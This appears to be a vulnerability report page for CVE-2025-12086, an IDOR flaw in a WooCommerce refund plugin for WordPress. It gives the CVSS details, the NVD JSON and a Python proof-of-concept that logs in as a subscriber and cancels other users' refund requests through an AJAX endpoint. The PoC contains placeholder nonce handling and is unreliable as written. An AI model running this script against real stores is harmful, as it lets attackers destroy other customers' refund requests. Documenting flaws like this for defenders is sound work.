Security Vulnerability Report
中文
CVE-2025-12086 CVSS 4.3 MEDIUM

CVE-2025-12086

Published: 2025-11-21 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Return Refund and Exchange For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.5.5 via the 'wps_rma_cancel_return_request' AJAX endpoint due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other users refund requests.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Return Refund and Exchange For WooCommerce plugin <= 4.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12086 PoC - IDOR in WooCommerce Refund Plugin # Description: Authenticated users can delete other users' refund requests # Affected: Return Refund and Exchange For WooCommerce <= 4.5.5 import requests import json target_url = "http://target-wordpress-site.com" # Login as low-privilege user (subscriber) session = requests.Session() # Step 1: Login to WordPress login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In", "testcookie": "1" } login_url = f"{target_url}/wp-login.php" session.post(login_url, data=login_data) # Step 2: Identify victim's refund request ID (via enumeration or information disclosure) victim_request_id = "123" # Target refund request ID to delete # Step 3: Exploit IDOR vulnerability - Cancel/Delete victim's refund request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "wps_rma_cancel_return_request", "request_id": victim_request_id, # IDOR: No ownership validation "security": "exposed_nonce_or_bypass" # May need to extract nonce } response = session.post(ajax_url, data=exploit_data) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") # Expected: Refund request deleted without proper authorization check

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12086", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:52.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Return Refund and Exchange For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.5.5 via the 'wps_rma_cancel_return_request' AJAX endpoint due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other users refund requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3394215%40woo-refund-and-exchange-lite&new=3394215%40woo-refund-and-exchange-lite&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/126e2b92-322e-440c-a924-1b604330f164?source=cve", "source": "[email protected]"}]}}